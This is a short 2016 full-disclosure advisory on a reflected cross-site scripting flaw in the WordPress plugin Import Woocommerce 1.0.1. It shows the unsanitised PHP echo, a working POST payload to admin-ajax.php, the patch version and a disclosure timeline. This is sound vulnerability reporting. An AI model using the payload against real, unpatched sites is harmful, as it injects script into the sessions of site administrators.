WordPress Import Woocommerce 1.0.1 Cross Site Scripting

`## FULL DISCLOSURE  
  
  
#Product : Import Woocommerce  
#Exploit Author : Rahul Pratap Singh  
#Version : 1.0.1  
#Home page Link : https://wordpress.org/plugins/import-woocommerce/  
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>  
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94  
#Date : 24/Feb/2016  
  
XSS Vulnerability:  
  
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Description:  
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"alertmsg" parameter is not sanitized that leads to Reflected XSS.  
  
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Vulnerable Code:  
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File: index.php  
Line:229-232  
  
function translate_alertstr(){  
if(isset($_POST['alertmsg']))  
echo __($_POST['alertmsg'],'import-woocommerce');  
  
die();  
  
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Exploit:  
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POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1  
  
action=translate_alertstr&alertmsg="><img src=x onerror=alert(1)>  
  
  
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POC:  
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https://0x62626262.files.wordpress.com/2016/02/import-woocommercexsspoc.png?w=1700  
  
Fix:  
Update to 1.1  
  
Vulnerability Disclosure Timeline:  
→ January 30, 2016 – Bug discovered, initial report to WordPress  
→ February 1, 2016 – WordPress response, plugin taken down  
→ February 24, 2016 – Vendor Deployed a Patch  
  
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Pub Ref:  
https://wordpress.org/plugins/import-woocommerce/changelog/  
  
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